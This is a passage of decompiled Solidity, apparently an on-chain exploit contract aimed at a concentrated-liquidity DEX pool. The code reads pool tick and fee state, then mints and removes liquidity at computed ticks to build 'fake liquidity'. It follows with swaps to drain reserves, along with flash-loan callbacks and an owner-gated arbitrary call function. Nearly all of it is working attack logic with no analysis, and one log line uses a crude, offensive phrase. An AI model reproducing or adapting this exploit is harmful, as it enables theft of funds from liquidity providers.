require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(MEM[MEM[64]] <= uint64.max);
v0 = v87 = 0x3463(MEM[64] + MEM[MEM[64]], MEM[64] + RETURNDATASIZE());
v85 = v88 = 1;
}
if (!v85) {
assert(v0 < MEM[v0]);
assert(10);
assert(v0 < MEM[v0]);
MEM[32 + (v0 << 5) + v0] = 9 * MEM[32 + (v0 << 5) + v0] / 10;
assert(v0 < MEM[v0]);
MEM[MEM[64]] = 0x524c9e2000000000000000000000000000000000000000000000000000000000;
MEM[4 + MEM[64]] = 224;
v89 = v90 = 0;
MEM[4 + MEM[64] + 224] = MEM[v0];
v91 = v92 = 4 + MEM[64] + 224 + 32;
v93 = v94 = v0 + 32;
while (v89 < MEM[v0]) {
MEM[v91] = MEM[v93];
v91 += 32;
v93 += 32;
v89 += 1;
}
MEM[4 + MEM[64] + 32] = v91 - (4 + MEM[64]);
v95 = v96 = 0;
MEM[v91] = MEM[v0];
v97 = v98 = v91 + 32;
v99 = v100 = v0 + 32;
while (v95 < MEM[v0]) {
MEM[v97] = MEM[v99];
v97 += 32;
v99 += 32;
v95 += 1;
}
MEM[4 + MEM[64] + 64] = v0;
MEM[4 + MEM[64] + 96] = v0;
MEM[4 + MEM[64] + 128] = MEM[32 + (v0 << 5) + v0];
MEM[4 + MEM[64] + 160] = stor_2a;
MEM[4 + MEM[64] + 192] = stor_2b;
require(bool(stor_21_0_19.code.size));
v101, /* uint256 */ v102, /* uint256 */ v103, /* uint256 */ v104 = stor_21_0_19.call(MEM[MEM[64]:MEM[64] + v38910x38ed_0x6V0x3c5fV0x31f8 - MEM[64]], MEM[MEM[64]:MEM[64]]).gas(msg.gas);
require(bool(v101), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(v104, 0, RETURNDATASIZE());
MEM[64] = v104 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & RETURNDATASIZE() + 31);
require(v104 + RETURNDATASIZE() - v104 >= 32);
require(MEM[v104] <= uint64.max);
v0 = v105 = 0x3463(v104 + MEM[v104], v104 + RETURNDATASIZE());
}
}
v0 += 1;
}
return v0, v0;
}
function IS_TEST() public nonPayable { find similar
return _iS_TEST;
}
function 0x33ee(uint256 varg0, uint256 varg1) private {
v0 = v1 = 0;
require(varg0 + 31 < varg1, v1, v1);
v2 = MEM[varg0];
assert(v2 <= uint64.max);
v3 = new uint256[](v2);
assert(!((v3 + ((v2 << 5) + 32) < v3) | (v3 + ((v2 << 5) + 32) > uint64.max)));
v4 = v5 = v3.data;
v6 = v7 = 32 + varg0;
require(varg1 >= 32 + (varg0 + (v2 << 5)), v1, v1);
while (v0 < v2) {
require(MEM[v6] == address(MEM[v6]));
MEM[v4] = MEM[v6];
v4 += 32;
v6 += 32;
v0 += 1;
}
return v3;
}
function 0x3463(uint256 varg0, uint256 varg1) private {
v0 = v1 = 0;
require(varg0 + 31 < varg1, v1, v1);
v2 = MEM[varg0];
assert(v2 <= uint64.max);
v3 = new uint256[](v2);
assert(!((v3 + ((v2 << 5) + 32) < v3) | (v3 + ((v2 << 5) + 32) > uint64.max)));
v4 = v5 = v3.data;
v6 = v7 = 32 + varg0;
require(varg1 >= 32 + (varg0 + (v2 << 5)), v1, v1);
while (v0 < v2) {
MEM[v4] = MEM[v6];
v4 += 32;
v6 += 32;
v0 += 1;
}
return v3;
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__( function_selector) public payable {
MEM[64] = 128;
if (msg.data.length < 4) {
require(!msg.data.length);
exit;
} else if (0x8a4f75d6 > function_selector >> 224) {
if (0x60e087db > function_selector >> 224) {
if (0x1ed7831c == function_selector >> 224) {
excludeSenders();
} else if (0x2ade3880 == function_selector >> 224) {
targetInterfaces();
} else if (0x3e5e3c23 == function_selector >> 224) {
targetSenders();
} else {
require(0x3f7286f4 == function_selector >> 224);
targetContracts();
}
} else if (0x60e087db == function_selector >> 224) {
0x60e087db();
} else if (0x66d9a9a0 == function_selector >> 224) {
targetArtifactSelectors();
} else if (0x77e0735d == function_selector >> 224) {
0x77e0735d();
} else {
require(0x85226c81 == function_selector >> 224);
targetArtifacts();
}
} else if (0xba414fa6 > function_selector >> 224) {
if (0x8a4f75d6 == function_selector >> 224) {
0x8a4f75d6();
} else if (0x916a17c6 == function_selector >> 224) {
targetSelectors();
} else if (0xb0464fdc == function_selector >> 224) {
excludeSelectors();
} else {
require(0xb5508aa9 == function_selector >> 224);
excludeArtifacts();
}
} else if (0xba414fa6 == function_selector >> 224) {
failed();
} else if (0xde0e3bc4 == function_selector >> 224) {
callTx(address,uint256,bytes);
} else if (0xe20c9f71 == function_selector >> 224) {
excludeContracts();
} else {
require(0xfa7626d4 == function_selector >> 224);
IS_TEST();
}
}
// Decompiled by library.dedaub.com
// 2024.03.21 01:04 UTC
// Compiled using the solidity compiler version 0.8.6
// Data structures and variables inferred from the use of storage instructions
uint256 _iS_TEST; // STORAGE[0x0] bytes 0 to 0
uint256 _uniswapV3FlashCallback; // STORAGE[0x6]
uint256 stor_8; // STORAGE[0x8]
uint256 stor_c; // STORAGE[0xc]
uint256 stor_d; // STORAGE[0xd]
uint256 stor_e; // STORAGE[0xe]
uint256 _failed; // STORAGE[0x0] bytes 1 to 1
uint256 stor_0_2_21; // STORAGE[0x0] bytes 2 to 21
uint256 stor_9_0_0; // STORAGE[0x9] bytes 0 to 0
uint256 stor_b_0_2; // STORAGE[0xb] bytes 0 to 2
uint256 stor_b_3_5; // STORAGE[0xb] bytes 3 to 5
uint256 stor_f_0_2; // STORAGE[0xf] bytes 0 to 2
uint256 stor_f_3_5; // STORAGE[0xf] bytes 3 to 5
uint256 stor_f_6_8; // STORAGE[0xf] bytes 6 to 8
uint256 stor_1_0_19; // STORAGE[0x1] bytes 0 to 19
uint256 _swapCallback; // STORAGE[0x2] bytes 0 to 19
uint256 stor_3_0_19; // STORAGE[0x3] bytes 0 to 19
uint256 stor_4_0_19; // STORAGE[0x4] bytes 0 to 19
uint256 _onFlashLoan; // STORAGE[0x5] bytes 0 to 19
uint256 stor_7_0_19; // STORAGE[0x7] bytes 0 to 19
uint256 _call; // STORAGE[0x9] bytes 1 to 20
uint256 owner_a_0_19; // STORAGE[0xa] bytes 0 to 19
uint256 stor_5_20_20; // STORAGE[0x5] bytes 20 to 20
uint256 stor_5_21_21; // STORAGE[0x5] bytes 21 to 21
// Events
log_string(string);
log_named_uint(string, uint256);
log_address(address);
log_named_int(string, int256);
function 0x38f39e5c(uint256 varg0) public nonPayable {
require(msg.data.length - 4 >= 32);
require(varg0 <= uint64.max);
require(4 + varg0 + 31 < msg.data.length);
require(varg0.length <= uint64.max);
require(4 + varg0 + varg0.length * 288 + 32 <= msg.data.length);
v0 = v1 = msg.sender == _call;
if (msg.sender != _call) {
v0 = v2 = msg.sender == owner_a_0_19;
}
if (!v0) {
v0 = this == msg.sender;
}
require(v0, Error('Not authorized'));
v3 = v4 = 0;
while (v3 < varg0.length) {
require(v3 < varg0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
require(v3 * 288 + varg0.data + 32 - (v3 * 288 + varg0.data) >= 32);
0x58ce(varg0[v3]);
require(v3 < varg0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
require(64 + (288 * v3 + varg0.data) + 32 - (64 + (288 * v3 + varg0.data)) >= 32);
0x58ce(msg.data[64 + (288 * v3 + varg0.data)]);
require(v3 < varg0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
require(96 + (288 * v3 + varg0.data) + 32 - (96 + (288 * v3 + varg0.data)) >= 32);
require(msg.data[96 + (288 * v3 + varg0.data)] == uint8(msg.data[96 + (288 * v3 + varg0.data)]));
require(v3 < varg0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
require(128 + (288 * v3 + varg0.data) + 32 - (128 + (288 * v3 + varg0.data)) >= 32);
require(msg.data[128 + (288 * v3 + varg0.data)] == uint8(msg.data[128 + (288 * v3 + varg0.data)]));
require(v3 < varg0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
require(v3 < varg0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
require(192 + (288 * v3 + varg0.data) + 32 - (192 + (288 * v3 + varg0.data)) >= 32);
require(msg.data[192 + (288 * v3 + varg0.data)] == uint8(msg.data[192 + (288 * v3 + varg0.data)]));
require(v3 < varg0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
require(v3 < varg0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
require(256 + (288 * v3 + varg0.data) + 32 - (256 + (288 * v3 + varg0.data)) >= 32);
require(msg.data[256 + (288 * v3 + varg0.data)] == uint8(msg.data[256 + (288 * v3 + varg0.data)]));
require(bool(this.code.size));
v5 = v6 = this.call(bytes4(0x7b408b0300000000000000000000000000000000000000000000000000000000), address(varg0[v3]), address(msg.data[64 + (288 * v3 + varg0.data)]), uint8(msg.data[96 + (288 * v3 + varg0.data)]), uint8(msg.data[128 + (288 * v3 + varg0.data)]), msg.data[160 + (288 * v3 + varg0.data)], uint8(msg.data[192 + (288 * v3 + varg0.data)]), msg.data[224 + (288 * v3 + varg0.data)], uint8(msg.data[256 + (288 * v3 + varg0.data)])).gas(msg.gas);
if (v6) {
v5 = 1;
}
if (!v5) {
v7 = new uint256[](186);
MEM[v7.data] = '????????????????????????????????';
MEM[MEM[64] + 96] = '????????????????????????????????';
MEM[MEM[64] + 128] = '????????????????????????????????';
MEM[MEM[64] + 160] = '????????????????????????????????';
MEM[MEM[64] + 192] = '????????????????????????????????';
MEM[MEM[64] + 224] = '??????????????????????????';
emit log_string(v7);
}
require(v3 != ~0, Panic(17)); // arithmetic overflow or underflow
v3 += 1;
}
}
function call(address _to, uint256 _value, bytes _data) public payable {
require(msg.data.length - 4 >= 96);
0x58ce(_to);
require(_data <= uint64.max);
require(4 + _data + 31 < msg.data.length);
require(_data.length <= uint64.max);
require(4 + _data + _data.length + 32 <= msg.data.length);
v0 = v1 = msg.sender == _call;
if (msg.sender != _call) {
v0 = v2 = msg.sender == owner_a_0_19;
}
if (!v0) {
v0 = this == msg.sender;
}
require(v0, Error('Not authorized'));
require(_to);
CALLDATACOPY(v3.data, _data.data, _data.length);
MEM[_data.length + v3.data] = 0;
v4, /* uint256 */ v5 = _to.call(v3.data).value(_value).gas(msg.gas);
if (RETURNDATASIZE() == 0) {
v6 = v7 = 96;
} else {
v6 = v8 = new bytes[](RETURNDATASIZE());
RETURNDATACOPY(v8.data, 0, RETURNDATASIZE());
}
require(v4);
v9 = v10 = 0;
while (v9 < MEM[v6]) {
MEM[64 + (v9 + MEM[64])] = MEM[32 + (v9 + v6)];
v9 += 32;
}
if (v9 > MEM[v6]) {
MEM[MEM[64] + MEM[v6] + 64] = 0;
}
return 32, MEM[v6];
}
function 0x161e(uint256 varg0) private {
emit log_string('Raping Now');
emit log_named_uint('Block timestamp', block.timestamp);
emit log_string('Init State');
emit log_address(stor_1_0_19);
emit log_address(_swapCallback);
emit log_address(stor_3_0_19);
require(bool(_swapCallback.code.size));
v0, /* bool */ v1 = _swapCallback.approve(stor_4_0_19, ~0).gas(msg.gas);
require(bool(v0), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v1 == bool(v1));
require(bool(stor_3_0_19.code.size));
v2, /* bool */ v3 = stor_3_0_19.approve(stor_4_0_19, ~0).gas(msg.gas);
require(bool(v2), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v3 == bool(v3));
emit log_string(0x48657265);
MEM[4 + MEM[64] + 64] = bool(!stor_5_21_21);
v4 = new uint256[](0);
require(bool(stor_1_0_19.code.size));
v5, /* uint256 */ v6, /* uint256 */ v7 = stor_1_0_19.swap(address(this), _uniswapV3FlashCallback, bool(!stor_5_21_21), stor_7_0_19, v4).gas(msg.gas);
require(bool(v5), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 64);
emit log_named_int(0x65640000, v6);
emit log_named_int(0x65640000, v7);
emit log_string('Step 2, finding ');
emit log_string('Step 2, finding liquidity required');
require(bool(_swapCallback.code.size));
v8, /* uint256 */ v9 = _swapCallback.balanceOf(stor_1_0_19).gas(msg.gas);
require(bool(v8), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
emit log_named_uint(0x62616c30, v9);
require(bool(stor_3_0_19.code.size));
v10, /* uint256 */ v11 = stor_3_0_19.balanceOf(stor_1_0_19).gas(msg.gas);
require(bool(v10), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
emit log_named_uint(0x62616c31, v11);
require(bool(stor_1_0_19.code.size));
v12, /* int24 */ v13 = stor_1_0_19.tickDistance().gas(msg.gas);
require(bool(v12), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v13 == int24(v13));
stor_b_0_2 = int24(v13);
require(bool(stor_1_0_19.code.size));
v14, /* uint24 */ v15 = stor_1_0_19.swapFeeUnits().gas(msg.gas);
require(bool(v14), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v15 == uint24(v15));
stor_b_3_5 = v15;
require(bool(stor_1_0_19.code.size));
v16, /* address */ v17, /* int24 */ v18, /* int24 */ v19, /* bool */ v20 = stor_1_0_19.getPoolState().gas(msg.gas);
require(bool(v16), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 128);
0x58ce(v17);
require(v18 == int24(v18));
require(v19 == int24(v19));
require(v20 == bool(v20));
stor_f_0_2 = int24(v18);
stor_c = address(v17);
if (stor_5_21_21) {
v21 = v22 = stor_f_0_2 >= 0;
if (stor_f_0_2 < 0) {
v23 = 0x5823(stor_f_0_2, stor_b_0_2);
v21 = v24 = !int24(v23);
}
if (!v21) {
v25 = 0x555a(stor_f_0_2, stor_b_0_2);
v26 = 0x5696(v25, stor_b_0_2);
v27 = 0x5742(v26, stor_b_0_2);
stor_f_3_5 = int24(v27);
} else {
v28 = 0x555a(stor_f_0_2, stor_b_0_2);
v29 = 0x5696(v28, stor_b_0_2);
stor_f_3_5 = int24(v29);
}
v30 = 0x54d0(400, stor_f_0_2);
v31 = v32 = int24(v30) >= 0;
if (int24(v30) < 0) {
v33 = 0x54d0(400, stor_f_0_2);
v34 = 0x5823(v33, stor_b_0_2);
v31 = v35 = !int24(v34);
}
if (!v31) {
v36 = 0x54d0(400, stor_f_0_2);
v37 = 0x555a(v36, stor_b_0_2);
v38 = 0x5696(v37, stor_b_0_2);
stor_f_6_8 = int24(v38);
} else {
v39 = 0x54d0(400, stor_f_0_2);
v40 = 0x555a(v39, stor_b_0_2);
v41 = 0x5696(v40, stor_b_0_2);
v42 = 0x54d0(v41, stor_b_0_2);
stor_f_6_8 = int24(v42);
}
v43 = 0x4429(stor_f_6_8);
stor_d = address(v43);
v44 = 0x4429(stor_f_3_5);
stor_e = address(v44);
} else {
v45 = 0x5742(stor_f_0_2, 400);
v46 = v47 = int24(v45) >= 0;
if (int24(v45) < 0) {
v48 = 0x5742(stor_f_0_2, 400);
v49 = 0x5823(v48, stor_b_0_2);
v46 = v50 = !int24(v49);
}
if (!v46) {
v51 = 0x5742(stor_f_0_2, 400);
v52 = 0x555a(v51, stor_b_0_2);
v53 = 0x5696(v52, stor_b_0_2);
v54 = 0x5742(v53, stor_b_0_2);
stor_f_3_5 = int24(v54);
} else {
v55 = 0x5742(stor_f_0_2, 400);
v56 = 0x555a(v55, stor_b_0_2);
v57 = 0x5696(v56, stor_b_0_2);
stor_f_3_5 = int24(v57);
}
v58 = 0x54d0(1, stor_f_0_2);
v59 = v60 = int24(v58) >= 0;
if (int24(v58) < 0) {
v61 = 0x54d0(1, stor_f_0_2);
v62 = 0x5823(v61, stor_b_0_2);
v59 = v63 = !int24(v62);
}
if (!v59) {
v64 = 0x54d0(1, stor_f_0_2);
v65 = 0x555a(v64, stor_b_0_2);
v66 = 0x5696(v65, stor_b_0_2);
stor_f_6_8 = int24(v66);
} else {
v67 = 0x54d0(1, stor_f_0_2);
v68 = 0x555a(v67, stor_b_0_2);
v69 = 0x5696(v68, stor_b_0_2);
v70 = 0x54d0(v69, stor_b_0_2);
stor_f_6_8 = int24(v70);
}
v71 = 0x4429(stor_f_3_5);
stor_d = address(v71);
v72 = 0x4429(stor_f_6_8);
stor_e = address(v72);
}
emit log_named_uint('tp.sqrtP', stor_c);
emit log_named_uint('tp.sqrtPt', stor_d);
require(stor_7_0_19 == stor_c, Error('First Swap Not Large Enough'));
if (stor_5_21_21) {
v73 = v74 = 8024;
require(bool(_swapCallback.code.size));
v75, /* uint256 */ v76 = _swapCallback.balanceOf(stor_1_0_19).gas(msg.gas);
require(bool(v75), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(bool(stor_3_0_19.code.size));
v77, /* uint256 */ v78 = stor_3_0_19.balanceOf(stor_1_0_19).gas(msg.gas);
require(bool(v77), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
v79 = v80 = stor_c;
v81 = v82 = stor_e;
v83 = v84 = stor_d;
} else {
v73 = v85 = 7743;
require(bool(_swapCallback.code.size));
v86, /* uint256 */ v76 = _swapCallback.balanceOf(stor_1_0_19).gas(msg.gas);
require(bool(v86), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(bool(stor_3_0_19.code.size));
v87, /* uint256 */ v78 = stor_3_0_19.balanceOf(stor_1_0_19).gas(msg.gas);
require(bool(v87), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
v79 = v88 = stor_c;
v81 = v89 = stor_d;
v83 = v90 = stor_e;
}
v91 = 0x47ac(0x1000000000000000000000000, v83, v79);
v92 = _SafeSub(v83, v79);
v93 = v94 = 0x47ac(v92, v76, v91);
v95 = _SafeSub(v79, v81);
v93 = 0x47ac(v95, 0x1000000000000000000000000, v78);
emit log_named_uint(0x74792e00, uint128(v94));
emit log_named_uint(0x74792e00, uint128(v93));
if (uint128(v94) >= uint128(v93)) {
}
// Unknown jump to Block {'0x1f58', '0x1e3f'}. Refer to 3-address code (TAC);
emit log_named_uint(0x74792e000000, stor_d);
emit log_string('Step 3, building');
emit log_string('Step 3, building up fake liquidity.');
require(bool(stor_1_0_19.code.size));
v96, /* uint128 */ v97, /* uint128 */ v98, /* uint128 */ v99 = stor_1_0_19.getLiquidityState().gas(msg.gas);
require(bool(v96), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 96);
require(v97 == uint128(v97));
require(v98 == uint128(v98));
require(v99 == uint128(v99));
v100 = _SafeAdd(uint128(v97), uint128(v98));
emit log_named_uint('Numbe', v100);
v101 = _SafeDiv(uint128(v93), stor_8);
if (stor_5_21_21) {
v102 = _SafeMul(stor_b_3_5, stor_d);
v103 = _SafeMul(0x30d40, stor_c);
v104 = _SafeSub(v103, v102);
v105 = _SafeSub(stor_d, stor_c);
v106 = _SafeMul(0x30d40, v101);
v107 = _SafeMul(v106, v105);
v108 = _SafeDiv(v107, v104);
v109 = _SafeDiv(v108, 0x30d40);
v110 = _SafeAdd(1, v109);
v111 = v112 = _SafeMul(0x30d40, v110);
v113 = v114 = 0;
while (1) {
v113 = _SafeAdd(1, v113);
v115 = _SafeSub(stor_d, stor_c);
v116 = _SafeMul(0x30d40, v115);
v117 = _SafeMul(stor_b_3_5, stor_d);
v118 = _SafeMul(0x30d40, stor_c);
v119 = _SafeSub(v118, v117);
v120 = _SafeMul(v119, v111);
v121 = _SafeDiv(v120, v116);
v122 = v123 = _SafeAdd(1, v121);
v124 = _SafeMul(stor_b_3_5, stor_d);
v125 = _SafeMul(0x30d40, stor_c);
v126 = _SafeSub(v125, v124);
v127 = _SafeSub(stor_d, stor_c);
v128 = _SafeMul(0x30d40, v123);
v129 = _SafeMul(v128, v127);
v130 = _SafeMod(v129, v126);
v131 = _SafeMul(stor_b_3_5, stor_d);
v132 = _SafeMul(0x30d40, stor_c);
v133 = _SafeSub(v132, v131);
v134 = _SafeMul(100, v130);
v135 = _SafeDiv(v134, v133);
if (v135) {
v111 = _SafeAdd(v111, 0x30d40);
} else {
v136 = v137 = 0xb2de2fbe801a0df6c0cbddfd448ba3c41d48a040ca35c56c8196ef0fcae721a8;
}
}
} else {
v138 = _SafeMul(stor_b_3_5, stor_c);
v139 = _SafeMul(0x30d40, stor_d);
v140 = _SafeSub(v139, v138);
v141 = _SafeSub(stor_c, stor_d);
v142 = _SafeMul(0x30d40, v101);
v143 = _SafeMul(v142, v141);
v144 = _SafeDiv(v143, v140);
v145 = _SafeDiv(v144, 0x30d40);
v146 = _SafeAdd(1, v145);
v147 = v148 = _SafeMul(0x30d40, v146);
v149 = v150 = 0;
while (1) {
v149 = _SafeAdd(1, v149);
v151 = _SafeSub(stor_c, stor_d);
v152 = _SafeMul(0x30d40, v151);
v153 = _SafeMul(stor_b_3_5, stor_c);
v154 = _SafeMul(0x30d40, stor_d);
v155 = _SafeSub(v154, v153);
v156 = _SafeMul(v155, v147);
v157 = _SafeDiv(v156, v152);
v122 = v158 = _SafeAdd(1, v157);
v159 = _SafeMul(stor_b_3_5, stor_c);
v160 = _SafeMul(0x30d40, stor_d);
v161 = _SafeSub(v160, v159);
v162 = _SafeSub(stor_c, stor_d);
v163 = _SafeMul(0x30d40, v158);
v164 = _SafeMul(v163, v162);
v165 = _SafeMod(v164, v161);
v166 = _SafeMul(stor_b_3_5, stor_c);
v167 = _SafeMul(0x30d40, stor_d);
v168 = _SafeSub(v167, v166);
v169 = _SafeMul(100, v165);
v170 = _SafeDiv(v169, v168);
if (v170) {
v147 = _SafeAdd(v147, 0x30d40);
} else {
v136 = v171 = 0xb2de2fbe801a0df6c0cbddfd448ba3c41d48a040ca35c56c8196ef0fcae721a8;
}
}
}
emit v136('Number of loops', 'Number of loops', v149, v113);
emit log_named_uint(0x616d743100, uint128(v97));
emit log_named_uint(0x616d74310000000000, uint128(v98));
emit log_named_uint(0x616d7431000000000000000000000000, v122);
emit log_string('Is it enough?');
v172 = _SafeSub(v122, uint128(v97));
v173 = _SafeSub(v172, uint128(v98));
emit log_named_uint(28771, stor_c);
emit log_named_uint(28770, stor_e);
emit log_named_uint(24941, stor_d);
emit log_named_int(0x616d74, stor_f_3_5);
emit log_named_int(0x616d74, stor_f_6_8);
emit log_named_int(0x616d74, stor_f_0_2);
if (stor_5_21_21) {
v174 = v175, v176 = v177 = 0x4070(stor_d, stor_e, stor_c, v173);
} else {
v174 = v178, v176 = v179 = 0x4070(stor_e, stor_d, stor_c, v173);
}
emit log_named_uint(0x616d743100000000000000000000, v173);
emit log_named_uint(0x65786163, v176);
emit log_named_uint(0x616d7431, v174);
MEM[MEM[64]] = 0;
MEM[MEM[64] + 32] = 0;
MEM[MEM[64] + 64] = 0;
MEM[MEM[64] + 96] = 0;
MEM[MEM[64] + 128] = 0;
v180 = new struct(2);
CALLDATACOPY(v180, msg.data.length, 64);
MEM[32 + (MEM[64] + 160)] = 0;
MEM[64 + (MEM[64] + 160)] = 0;
MEM[160 + (MEM[64] + 160)] = address(0x0);
MEM[192 + (MEM[64] + 160)] = 0;
v181 = 0x40f3(stor_f_3_5);
MEM[v180] = int24(v181);
v182 = 0x40f3(stor_f_6_8);
MEM[v180 + 32] = int24(v182);
v183 = v184 = MEM[64] + 4 + 160;
v185 = 0;
while (v185 >= 2) {
MEM[v183] = int24(MEM[v186]);
v183 += 32;
v186 = v186 + 32;
v185 += 1;
}
require(bool(stor_4_0_19.code.size));
v187, /* uint256 */ v188, /* uint128 */ v189, /* uint256 */ v190, /* uint256 */ v191 = stor_4_0_19.mint(address(_swapCallback), address(stor_3_0_19), uint24(stor_b_3_5), int24(stor_f_3_5), int24(stor_f_6_8), v192, v192, v176, v174, 0, 0, address(this), block.timestamp).gas(msg.gas);
require(bool(v187), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 128);
require(v189 == uint128(v189));
emit log_string('MINTED');
require(bool(stor_1_0_19.code.size));
v193, /* uint128 */ v194, /* uint128 */ v195, /* uint128 */ v196 = stor_1_0_19.getLiquidityState().gas(msg.gas);
require(bool(v193), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 96);
require(v194 == uint128(v194));
require(v195 == uint128(v195));
require(v196 == uint128(v196));
v197 = _SafeAdd(uint128(v194), uint128(v195));
v198 = _SafeSub(v197, v122);
MEM[MEM[64]] = 0;
MEM[32 + MEM[64]] = uint128(0);
MEM[64 + MEM[64]] = 0;
MEM[96 + MEM[64]] = 0;
MEM[128 + MEM[64]] = 0;
require(bool(stor_4_0_19.code.size));
v199, /* uint256 */ v200, /* uint256 */ v201, /* uint256 */ v202 = stor_4_0_19.removeLiquidity(v188, uint128(v198), 0, 0, block.timestamp).gas(msg.gas);
require(bool(v199), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 96);
require(bool(stor_1_0_19.code.size));
v203, /* uint128 */ v204, /* uint128 */ v205, /* uint128 */ v206 = stor_1_0_19.getLiquidityState().gas(msg.gas);
require(bool(v203), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 96);
require(v204 == uint128(v204));
require(v205 == uint128(v205));
require(v206 == uint128(v206));
emit log_named_uint(0x64656c4100, uint128(v204));
emit log_named_uint(0x64656c410000000000, uint128(v205));
emit log_string(0x507265000000);
emit log_string(0x507265000000000000000000000000000000000000000000000000000000000064656c4100000000000000);
emit log_string(0x507265000000000000000000000000000000000000000000000000000000000064656c410000);
if (stor_5_21_21) {
v207 = _SafeMul(stor_b_3_5, stor_d);
v208 = _SafeMul(0x30d40, stor_c);
v209 = _SafeSub(v208, v207);
v210 = _SafeSub(stor_d, stor_c);
v211 = _SafeMul(0x30d40, v122);
v212 = _SafeMul(v211, v210);
v213 = _SafeDiv(v212, v209);
v214 = _SafeMul(v213, stor_c);
v215 = v216 = _SafeDiv(v214, 0x1000000000000000000000000);
} else {
v217 = _SafeMul(stor_b_3_5, stor_c);
v218 = _SafeMul(0x30d40, stor_d);
v219 = _SafeSub(v218, v217);
v220 = _SafeSub(stor_c, stor_d);
v221 = _SafeMul(0x30d40, v122);
v222 = _SafeMul(v221, v220);
v223 = _SafeDiv(v222, v219);
v224 = _SafeMul(v223, 0x1000000000000000000000000);
v215 = v225 = _SafeDiv(v224, stor_c);
}
emit log_named_int(0x64656c41, v215);
emit log_string(0x507265);
require(!((v215 < 0x8000000000000000000000000000000000000000000000000000000000000001) & (1 >= 0)), Panic(17)); // arithmetic overflow or underflow
require(!((1 < 0) & (v215 > int256.min)), Panic(17)); // arithmetic overflow or underflow
if (!stor_5_21_21) {
v226 = v227 = 0x5517(1, 0x1000276a3);
} else {
v226 = v228 = 0x57c9(0xfffd8963efd1fc6a506488495d951d5263988d26, 1);
}
MEM[4 + MEM[64] + 64] = bool(!stor_5_21_21);
MEM[4 + MEM[64] + 96] = address(v226);
MEM[4 + MEM[64] + 128] = 160;
v229 = new uint256[](0);
require(bool(stor_1_0_19.code.size));
v230, /* uint256 */ v231, /* uint256 */ v232 = stor_1_0_19.swap(address(this), v215 - 1, bool(!stor_5_21_21), address(v226), v229).gas(msg.gas);
require(bool(v230), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 64);
emit log_string('Apres');
if (!stor_5_21_21) {
require(bool(_swapCallback.code.size));
v233, /* uint256 */ v234 = _swapCallback.balanceOf(stor_1_0_19).gas(msg.gas);
require(bool(v233), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
v235 = v236 = 0x5859(v234);
} else {
require(bool(stor_3_0_19.code.size));
v237, /* uint256 */ v238 = stor_3_0_19.balanceOf(stor_1_0_19).gas(msg.gas);
require(bool(v237), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
v235 = v239 = 0x5859(v238);
}
if (!stor_5_21_21) {
v240 = v241 = 0x57c9(0xfffd8963efd1fc6a506488495d951d5263988d26, 1);
} else {
v240 = v242 = 0x5517(1, 0x1000276a3);
}
v243 = new uint256[](0);
require(bool(stor_1_0_19.code.size));
v244, /* uint256 */ v245, /* uint256 */ v246 = stor_1_0_19.swap(address(this), v235, bool(!stor_5_21_21), address(v240), v243).gas(msg.gas);
require(bool(v244), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 64);
emit log_string('Apres 2');
return ;
}
function 0x7b408b03(address varg0, address varg1, uint8 varg2, uint8 varg3, uint256 varg4, uint8 varg5, uint256 varg6, uint8 varg7) public nonPayable {
